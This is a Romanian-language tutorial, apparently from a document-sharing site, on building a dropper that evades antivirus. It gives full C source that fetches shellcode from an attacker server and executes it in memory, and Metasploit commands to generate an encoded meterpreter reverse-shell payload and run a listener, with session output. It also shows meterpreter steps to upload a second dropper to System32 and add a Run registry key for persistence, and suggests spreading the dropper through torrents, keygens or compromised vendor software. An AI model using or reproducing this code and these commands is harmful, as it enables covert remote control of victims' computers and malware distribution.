Cum sa creezi un dropper(trojan) “aproape” perfect

Cum sa creezi un dropper(trojan,backdoor) “aproape” perfect.

Innainte de a dezbate acest subiect as vrea sa fac o scurta precizare.Acest tutorial a fost creat cu scop strict educativ urmand ca cei ce vor folosi aceste informatii in scopuri ce ar putea fi considerate mai putin etice sa-si asume atat responsabilitatea cat si consecintele faptelor sale. Pentru cei ce nu sunt familiarizati cu acest termen,facand referire la “dropper” vom incerca sa explicam ce este un “dropper” apeland chiar la definitia acestuia. Un dropper este un program menit sa instaleze un cod malware(trojan,backdoor etc.) in sistemele de operare ale potentialelor victime.Exista doua feluri de “dropper-e”: 1.Dropper(single-stage) contine codul malware iar in momentul in care softul in care a fost injectat va fi initializat,va rula codul malware; 2.Dropper(two-stage) este creat cu scopul de a instala codul malware in sistemul de operare al victimei in momentul in care softul in care a fost injectat va fi initializat. Tin sa precizez faptul ca acestea sunt definitiile oficiale atribuite acestor termeni , definitii create de experti in securitatea informatiei. Acestea fiind spuse,am sa va rog ca,odata ce veti fi parcurs acest tutorial,sa incercati sa catalogati chiar voi tipul de “dropper” prezentat si dezbatut in continuare.Veti observa ca are un comportament total diferit,si veti mai observa ca este practic indetectabil deoarece payload-ul (trojan,backdoor) odata creat nu va parasi sistemul(serverul) hackerului si va fi apelat printr-o conexiune http de “dropper” in momentul in care acelasi “dropper” va rula in sistemul victimei. Rezumand,softul antivirus menit sa protejeze sistemul victimei nu va detecta nici o amenintare datorita faptului ca trojan-ul in sine nu va fi instalat in sistemul de operare al victimei. Mai pe scurt,nu poti gasi ceva ce nu exista!Sa fie oare un nou tip de amenintare ce le va provoca dureri de cap creatorilor de software antivirus?Va pot asigura ca am scanat acest dropper cu scanerele puse la dispozitie de 32 de asemenea soft-uri.A fost detectat de un singur antivirus, si acela “neoficial”.Nici macar unul din cele mai utilizate si raspandite soft-uri antivirus de pe piata ca Bitdefender,McAfee,Kaspersky,Eset,AVG si altele,nu au reusit sa detecteze acest dropper.Ca sa nu mentionam si faptul ca structura acestui dropper poate fi schimbata. In continuare va prezint codul sursa al dropper-ului in cauza.

//include libraria wininet deoarece vor fi apelate urmatoarele functii: //InternetOpen(),InternetOpenUrl(),InternetReadFile(),InternetCloseHandle(), #include<windows.h> #include<iostream> #include<cstring> #include<Wininet.h> using namespace std; unsigned char DataReceived[500]; int main(){ int i; HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0); if(!connect){ cout<<"Connection Failed or Syntax error"; return 0; }

HINTERNET OpenAddress = InternetOpenUrl(connect,"http://192.168.1.10/data.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0); if ( !OpenAddress ) { DWORD ErrorNum = GetLastError(); cout<<"Failed to open URL \nError No: "<<ErrorNum; InternetCloseHandle(connect); return 0; } DWORD NumberOfBytesRead = 0; while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead ) { for(i=0;i<sizeof DataReceived; i++ ){ printf("\\x%02x",DataReceived[i]); } __asm ("lea _DataReceived, %eax"); __asm ("push %eax"); __asm ("ret"); } InternetCloseHandle(OpenAddress); InternetCloseHandle(connect); } return 0;

Unde : http://192.168.1.10/data.bin adresa url prin care dropperul va apela payload-ul creat de hacker cu scopul de declansa trojan-ul(backdoor) -192.168.1.10 este adresa IP a server-ului de ascultare pe care il vom configura asa cum vom vedea in randurile de mai jos ; -data.bin este payload-ul(backdoor) pe care il vom genera si stoca in calculatorul cu care vom efectua atacul ; Se poate folosi si o adresa IP externa atata timp cat veti seta router-ul sa “inainteze” adresa IP si porturile necesare dar noi ne vom rezuma la o demonstratie intr-o retea interna. Urmatorul pas ar consta in compilarea codului sursa scris in limbajul de programare C. Pentru a putea compila codul sursa veti avea nevoie de un C compiler.Nu am sa intru in detalii referitoare la cum sa compilati un program C deoarece acest tutorial le este dedicat celor ce dispun de minimul de cunostinte necesare pentru a putea duce la bun sfarsit acest proces. Am sa fac totusi o precizare.Daca veti folosi compilatorul Dev-C++ va trebui sa faceti doua modificari innainte de a compila codul sursa de mai sus: 1.Click dreapta pe proiect; 2.Project Options>Parameters>Add a link | -lwininet 3.Project Options>Compiler>Link editor>Don’t create a windows console | YES

De aici si pana la raspandirea acestui “dropper” pe Internet nu mai este decat un pas. Exista foarte multe modalitati prin care hack-erii pot raspandi acest “dropper”.Ganditi-va cati dintre voi sunteti zilnic in cautare de aplicatii si soft-uri gratuite,keygenerators etc.Tinand cont de faptul ca acest cod poate fi injectat cu usurinta intr-un soft de format executabil(PE) ca mai apoi sa fie transferat pe un Torrent,am sa va las pe voi sa trageti concluziile. Un alt scenariu,pe cat de incredibil pe atat de adevarat,ar fi urmatorul.O echipa de hack-eri ce dispun de un 0day,se folosesc de aceasta vulnerabilitate pentru a obtine accesul la serverele si punctele de lucru ale unei companii software,companie ce urmeaza sa lanseze pe piata un soft creat recent,soft ce la randul lui va fi descarcat si instalat de milioane de utilizatori.Modul de operare al hacker-ilor este,pe cat de simplu pe atat de eficient.Obtin codul sursa al soft-ului respectiv,injecteaza “dropper-ul” urmand ca mai apoi sa transfere soft-ul modificat in serverele companiei vizate. In momentul in care soft-ul “infectat” va fi lansat pe piata ,toti cei ce vor plati pentru a descarca si instala soft-ul in cauza vor deveni la randul lor victime,convinsi fiind de faptul ca au instalat un soft creat de o companie de renume si ca acesta nu prezinta pericole.Mda… Revenind la oile noastre,am decis sa compilez acest “dropper” si sa-l botez probedrop.exe. In continuare vom crea payload-ul data.bin prin intermediul unei console Kali Linux astfel: root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t raw –a x86 –b “x00\x0a\x0d” –c 3 x > /var/www/data.bin [*] x86/shikata_ga_nai succeded with size 342 (iteration=1) [*] x86/shikata_ga_nai succeded with size 369 (iteration=2) [*] x86/shikata_ga_nai succeded with size 396 (iteration=3) Unde: LHOST=192.168.1.10 – adresa IP a serverului ce initiaza mecanismul de ascultare; LPORT=4444 – portul de ascultare; -e x86/shikata_ga_nai – tipul de encoder utilizat; -c 3 – 3 bucle de codificare(loops); data.bin – payload(backdoor); Urmatorul pas consta in crearea si initializarea unui server menit sa lanseze un mecanism de ascultare a cererilor de conectare din partea clientilor(victimelor).Pentru aceasta vom deschide o consola Kali Linux si vom invoca <msfcli> astfel:

root@kali:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R [*] Please wait while we load the module tree [*] Started reverse handler on 192.168.1.10:4444 [*] Starting the payload handler…

Presupunand ca “dropper-ul” probedrop.exe a ajuns in calculatorul victimei prin intermediul unora din metodele prezentate mai sus(torrent,download etc.) tot ceea ce ne ramane de facut ar fi sa asteptam momentul in care victima va executa probedrop.exe.In momentul in care victima va face click pe acest fisier va declansa payload-ul permitandu-ne astfel sa stabilim o sesiune de <meterpreter>.Structura consolei Kali Linux ar fi urmatoarea:

root@kali:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R [*] Please wait while we load the module tree… [*] Started reverse handler on 192.168.1.10:4444 [*] Starting the payload handler… [*] Sending stage… [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.12:1402) at … meterpreter >

Trebuie sa tinem cont de faptul ca vom dispune de o sesiune <meterpreter> atata timp cat in calculatorul victimei va rula programul in care “dropper-ul” a fost injectat adica probedrop.exe. Ne putem folosi de sesiunea <meterpreter> pe care tocmai am obtinuto pentru a ne asigura ca in cazul in care victima ar inchide soft-ul respectiv,un alt “dropper” pe care il vom crea,utiliza si transfera in directorul System32,prezent in sistemul victimei,va stabili o conexiune continua chiar si in cazul in care victima ar restarta calculatorul. Pentru aceasta va trebui sa parcurgem urmatorii pasi: 1.Vom compila acelasi cod sursa C a “dropper-ului” anterior pentru a crea un altul.Am ales sa creez un alt executabil deoarece,daca as fi folosit acelasi “dropper”,presupunand ca acesta a fost injectat in soft-ul instalat de victima,acelasi soft s-ar initializa ori de cate ori victima ar efectua un reboot iar acest fapt i-ar putea atrage atentia victimei.Rolul celui de al doilea “dropper” ar fi numai si numai sa stabileasca o conexiune continua,de fiecare data cand victima ar porni calculatorul. Am ales sa botez acest “dropper” perpetuumdrop.exe pe care l-am situat in root/perp 2.Folosindu-ma de sesiunea <meterpreter> stabilita voi transfera fisierul perpetuumdrop.exe ce se afla in sistemul meu,mai exact in root/perp,in directorul windows/system32 din sistemul victimei prin intermediul comenzii upload /root/perp/perpetumdrop.exe C:\\Windows\\system32\\ astfel:

meterpreter > upload /root/perp/perpetuumdrop.exe C:\\Windows\\system32\\ [*] uploading : /root/perp/perpetuumdrop.exe -> C:\Windows\system32\ [*] uploaded : /root/perp/perpetuumdrop.exe -> C:\Windows\system32\\perpetuumdrop.exe

3.Ultimul dar si cel mai important pas ar consta in efectuarea unui schimb in registrii sistemului victimei astfel incat acesta sa execute “dropper-ul” chiar si in cazul in care victima ar restarta sistemul,astfel: meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v perpetuumdrop -d 'C:\windows\system32\perpetuumdrop.exe’ Successful set perpetuumdrop.

“Cam atat…”

Dumitru Mihai Valentin: mihaivalentindumitru@gmail.com

Sign up to vote on this title
UsefulNot useful